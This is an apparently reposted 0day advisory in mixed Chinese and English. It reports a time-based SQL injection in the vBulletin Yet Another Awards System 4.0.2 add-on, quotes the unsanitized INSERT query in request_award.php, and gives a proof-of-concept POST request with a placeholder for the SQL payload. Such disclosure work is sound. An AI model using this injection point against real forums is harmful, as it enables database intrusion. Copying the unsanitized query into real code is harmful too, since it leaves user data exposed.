标题: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day 作者: Backsl@sh/Dan 软件 下载 : http://www.vbulletin.org/forum/showthread.php?t=232684 影响版本: 4.0.2+ 问题出在request_award.php. $vbulletin->input->clean_array_gpc('p', array( 'award_id' => TYPE_UINT, //'award_request_name' => TYPE_STR, //'award_request_recipient_name' => TYPE_STR, 'award_request_reason' => TYPE_STR, 'award_request_uid' => TYPE_UNIT, )); > $award_request_uid = $vbulletin->GPC['award_request_uid']; > > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')"); $award_request_uid is used within an insert into statement, unsanitized. 测试证明 http://www.2cto.com /request_award.php POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
查看更多关于vBulletin Yet Another Awards System 4.0.2 SQL注射 -的详细内容...